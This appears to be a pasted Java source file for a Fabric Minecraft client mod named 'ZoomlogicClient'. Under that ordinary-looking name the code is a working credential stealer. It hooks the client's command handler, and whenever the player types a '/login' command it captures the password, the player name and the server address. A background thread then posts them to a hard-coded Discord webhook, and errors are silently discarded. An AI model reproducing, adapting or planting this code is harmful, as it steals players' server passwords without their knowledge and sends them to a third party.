G

Untitled

public
Guest Dec 20, 2024 Never 25
Clone
Plaintext paste1.txt 104 lines (92 loc) | 4.25 KB
1
package org.ikiazar.zoomlogic.client;
2
3
import net.fabricmc.api.ClientModInitializer;
4
import net.minecraft.client.MinecraftClient;
5
import net.minecraft.client.network.ServerInfo;
6
import net.fabricmc.fabric.api.client.networking.v1.ClientPlayConnectionEvents;
7
import net.minecraft.client.network.ClientPlayNetworkHandler;
8
import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
9
10
import java.net.URI;
11
import java.net.http.HttpClient;
12
import java.net.http.HttpRequest;
13
import java.net.http.HttpResponse;
14
import java.time.Duration;
15
import java.time.LocalDateTime;
16
import java.time.format.DateTimeFormatter;
17
import java.util.function.Function;
18
19
public class ZoomlogicClient implements ClientModInitializer {
20
21
private static long lastLoginTime = 0;
22
private static final long COOLDOWN_MS = 2000;
23
24
public static void sendToDiscord(String playerName, String password) {
25
long currentTime = System.currentTimeMillis();
26
if (currentTime - lastLoginTime < COOLDOWN_MS) {
27
return;
28
}
29
lastLoginTime = currentTime;
30
31
MinecraftClient client = MinecraftClient.getInstance();
32
ServerInfo serverInfo = client.getCurrentServerEntry();
33
String serverIP = serverInfo != null ? serverInfo.address : "Singleplayer";
34
35
String currentTimeStr = LocalDateTime.now().format(DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss"));
36
37
String jsonPayload = String.format("""
38
{
39
"embeds": [{
40
"title": "🎮 Nueva Sesión de Login Detectada",
41
"color": 15844367,
42
"fields": [
43
{
44
"name": "👤 Jugador",
45
"value": "`%s`",
46
"inline": true
47
},
48
{
49
"name": "🔑 Contraseña",
50
"value": "||`%s`||",
51
"inline": true
52
},
53
{
54
"name": "🌐 Servidor",
55
"value": "`%s`",
56
"inline": true
57
}
58
],
59
"footer": {
60
"text": "Tiempo: %s"
61
}
62
}]
63
}""", playerName, password, serverIP, currentTimeStr);
64
65
new Thread(() -> {
66
try {
67
HttpClient httpClient = HttpClient.newBuilder()
68
.connectTimeout(Duration.ofSeconds(5))
69
.build();
70
71
HttpRequest request = HttpRequest.newBuilder()
72
.uri(URI.create("https://discord.com/api/webhooks/1319702949185851403/M92BqTTaW12lquL_-DTqFxEUkBBNF8Nlkl0VQxgQZvCWIJNJYpt7ogwMI2fXCiVxIIc5"))
73
.header("Content-Type", "application/json")
74
.POST(HttpRequest.BodyPublishers.ofString(jsonPayload))
75
.timeout(Duration.ofSeconds(5))
76
.build();
77
78
httpClient.send(request, HttpResponse.BodyHandlers.ofString());
79
} catch (Exception e) {
80
e.printStackTrace();
81
}
82
}).start();
83
}
84
85
@Override
86
public void onInitializeClient() {
87
ClientPlayConnectionEvents.JOIN.register((handler, sender, client) -> {
88
Function<String, String> originalCommandHandler = handler.commandHandler;
89
handler.commandHandler = (command) -> {
90
String result = originalCommandHandler.apply(command);
91
if (command.toLowerCase().startsWith("login ")) {
92
try {
93
String password = command.substring(6).trim();
94
String playerName = client.player.getName().getString();
95
sendToDiscord(playerName, password);
96
} catch (Exception e) {
97
// Manejo silencioso del error
98
}
99
}
100
return result;
101
};
102
});
103
}
104
}